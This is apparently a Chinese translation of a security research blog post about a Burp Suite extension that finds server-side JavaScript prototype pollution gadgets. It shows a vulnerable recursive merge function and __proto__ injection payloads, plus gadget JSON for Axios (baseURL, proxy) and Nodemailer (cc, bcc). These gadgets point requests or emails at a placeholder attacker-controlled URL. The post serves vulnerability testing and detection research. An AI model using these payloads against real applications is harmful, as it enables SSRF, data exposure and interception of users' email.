原型污染攻击工具链揭秘:服务器端漏洞挖掘与利用

本文深入探讨JavaScript原型污染漏洞的服务器端利用技术,详细介绍新型BurpSuite插件的工作原理,涵盖Axios和Nodemailer等常见库的漏洞利用链,提供实际攻击载荷和反污染方案,填补了服务器端原型污染自动化检测与利用的工具空白。

揭示原型污染Gadgets查找器

2024年2月17日 - 发布者 Raúl Miján

引言

原型污染最近成为Web安全领域的一种流行漏洞。当攻击者利用JavaScript原型继承的特性来修改对象的原型时,就会发生这种漏洞。通过这种方式,他们可以注入恶意代码或改变应用程序的行为,导致意外结果。在某些条件下,这可能导致敏感信息泄露、类型混淆漏洞,甚至远程代码执行。

对于那些希望深入了解原型污染的技术细节和影响的人,我们推荐查看PortSwigger的全面指南。

1
2
3
4
// 浏览器控制台中的原型污染示例
Object.prototype.isAdmin = true;
const user = {};
console.log(user.isAdmin); // 输出: true

要完全理解这个漏洞的利用,关键是要了解"源"(sources)和"链"(gadgets)是什么。

:在原型污染的背景下,源指的是执行递归赋值而没有正确验证涉及对象的代码片段。这种行为为攻击者修改对象的原型创造了途径。原型污染的主要来源包括:

  • 自定义代码:包括开发人员编写的代码,在处理用户输入之前没有充分检查或清理,可能直接将漏洞引入应用程序
  • 易受攻击的库:包含漏洞的外部库也可能导致原型污染,通常是通过未能验证被合并或扩展对象安全性的递归赋值
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// 导致原型污染的递归赋值示例
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

:链指的是利用原型污染漏洞实现攻击的方法或代码片段。通过操纵基础对象的原型,攻击者可以根据应用程序的结构和被污染原型的性质,改变应用程序的逻辑,获得未经授权的访问或执行任意代码。

技术现状

在深入我们的研究细节之前,了解原型污染现有研究的情况至关重要。这将帮助我们识别当前方法和工具中的差距,以及我们的工作如何旨在解决这些问题。

在客户端,有大量的研究和工具可用。对于源,GitHub上的编译是一个极好的起点(客户端原型污染源)。至于链,各种文章中已经记录了详细的探索和利用技术,例如InfoSec Writeups上的信息性文章和PortSwigger自己关于客户端原型污染的指南。

此外,还有设计用于在命令行和浏览器内自动检测和利用此漏洞的工具,包括PP-Finder CLI工具和DOM Invader(Burp Suite的一个功能,用于发现客户端原型污染)。

然而,服务器端原型污染的研究和工具环境呈现出不同的景象:

PortSwigger的研究提供了对服务器端原型污染的基础理解,具有各种检测方法。然而,一个显著的限制是其中一些检测方法随着时间的推移已经过时。更重要的是,虽然它在识别漏洞方面表现出色,但没有扩展到使用链促进其实际利用。这一差距表明需要不仅能够检测而且能够实际利用已识别漏洞的工具。

另一方面,YesWeHack的指南介绍了几种有趣的链,其中一些已被纳入我们的插件(如下)。尽管有这一宝贵贡献,但该指南偶尔会涉足可能与现实应用程序环境不完全一致的假设场景。此外,它未能提供在黑盒测试环境中发现链的自动化方法。这对于现实环境中的全面漏洞评估和利用至关重要。

这一概述强调了在服务器端原型污染研究中需要进一步创新,特别是在开发不仅能够检测而且能够以实用、自动化方式利用此漏洞的工具。

关于插件

根据先前讨论的见解,我们开发了一个用于检测服务器端原型污染链的Burpsuite插件:原型污染Gadgets查找器,可在GitHub上获取。该工具代表了Web安全领域的一种新颖方法,专注于精确识别和利用原型污染漏洞。

该插件的核心功能是获取请求中的JSON对象,并系统地尝试用预定义的链集污染所有可能的字段。例如,给定一个JSON对象:

1
2
3
4
{
  "user": "example",
  "auth": false
}

插件将尝试各种污染,例如:

1
2
3
4
{
  "user": {"__proto__": <polluted_object>},
  "auth": false
}

或者:

1
2
3
4
{
  "user": "example",
  "auth": {"__proto__": <polluted_object>}
}

我们决定创建一个新插件,而不是仅仅依赖自定义检查(bchecks)或PortSwigger博客中强调的现有服务器端原型污染扫描器,是出于实际需要。这些工具虽然在检测能力方面强大,但不会自动恢复检测过程中所做的修改。鉴于某些链可能对系统产生不利影响或改变应用程序行为,我们的插件专门通过仔细检测后移除污染来解决这个问题。这一步骤对于确保利用过程不会损害应用程序的功能或稳定性至关重要。通过采用这种方法,我们旨在提供一个不仅识别漏洞而且通过防止利用活动可能造成的中断来维护应用程序完整性的工具。

此外,插件引入的所有链都在带外(OOB)操作。这一设计选择源于这样的理解:污染的来源可能与应用程序代码库中触发链的位置完全分开。因此,利用是异步发生的,依赖于等待交互的OOB技术。这种方法确保即使被污染的属性没有立即使用,一旦应用程序与被污染的原型交互,仍然可以被利用。这展示了我们扫描方法的多样性和深度。

查找链的方法论

为了发现能够改变应用程序行为的链,我们的方法涉及对常见Node.js库文档的彻底检查。我们专注于识别这些库中的可选参数,这些参数在修改时可能引入安全漏洞或导致意外的应用程序行为。我们方法的一部分还包括定义描述我们插件中每个链的标准格式:

1
2
3
4
5
{
"payload": {"<parameter>": "<URL>"},
"description": "<Description>",
"null_payload": {"<parameter>": {}}
}
  • Payload:表示用于利用漏洞的实际载荷。<URL>占位符是插入协作器URL的地方
  • Description:提供链做什么或利用什么漏洞的简要说明
  • Null_payload:指定应用于恢复载荷所做更改的载荷,有效地"去污染"应用程序以防止任何意外行为

这种格式确保了在安全社区中记录和共享链的一致和清晰的方式,促进了原型污染漏洞的识别、测试和缓解。

Axios库

Axios广泛用于发出HTTP请求。通过检查Axios文档和请求配置选项,我们确定了某些参数(如baseURL和proxy)可能被恶意利用。

易受攻击的代码示例

1
2
3
4
5
6
app.get("/get-api-key", async (req, res) => {
  try {
      const instance = axios.create({baseURL: "https://doyensec.com"});
      const response = await instance.get("/?api-key=<API_KEY>");
  }
});

链说明:操纵baseURL参数允许将HTTP请求重定向到攻击者控制的域,可能促进服务器端请求伪造(SSRF)或数据泄露。对于proxy参数,利用的关键在于能够建议传出的HTTP请求可以通过攻击者控制的代理重新路由。虽然Burp Collaborator本身不支持作为代理直接捕获或操纵这些请求,但它可以检测应用程序发起的DNS查找这一微妙事实至关重要。能够观察到对我们控制域的DNS请求(通过污染代理配置触发)表明应用程序接受了这种污染配置。它突出了潜在漏洞,而无需直接观察代理流量。这一洞察使我们能够推断,通过正确的设置(在Burp Collaborator之外),可以部署实际代理来完全拦截和操纵HTTP通信,展示了漏洞的潜在可利用性。

Axios的链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "payload": {"baseURL": "https://<URL>"},
  "description": "修改'baseURL',导致Axios等库中的SSRF或敏感数据暴露。",
  "null_payload": {"baseURL": {}}
},
{
  "payload": {"proxy": {"protocol": "http", "host": "<URL>", "port": 80}},
  "description": "设置代理以操纵或拦截HTTP请求,可能泄露敏感信息。",
  "null_payload": {"proxy": {}}
}

Nodemailer库

Nodemailer是我们探索的另一个库,主要用于发送电子邮件。Nodemailer文档显示,像cc和bcc这样的参数可能被利用来拦截电子邮件通信。

易受攻击的代码示例

1
2
3
4
5
6
7
transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
      res.status(500).send('500!');
  } else {
      res.send('200 OK');
  }
});

链说明:通过在电子邮件配置中将我们自己添加为cc或bcc收件人,我们可能拦截平台发送的所有电子邮件,获得对敏感信息或通信的访问权限。

Nodemailer的链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "payload": {"cc": "email@<URL>"},
  "description": "在电子邮件库中添加CC地址,可能拦截所有平台电子邮件。",
  "null_payload": {"cc": {}}
},
{
  "payload": {"bcc": "email@<URL>"},
  "description": "在电子邮件库中添加BCC地址,类似于'cc',用于拦截电子邮件。",
  "null_payload": {"bcc": {}}
}

我们的方法强调了理解库文档以及如何恶意利用可选参数的重要性。我们鼓励社区通过识别新链并分享它们来做出贡献。访问我们的GitHub存储库获取全面的安装指南并开始使用该工具。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计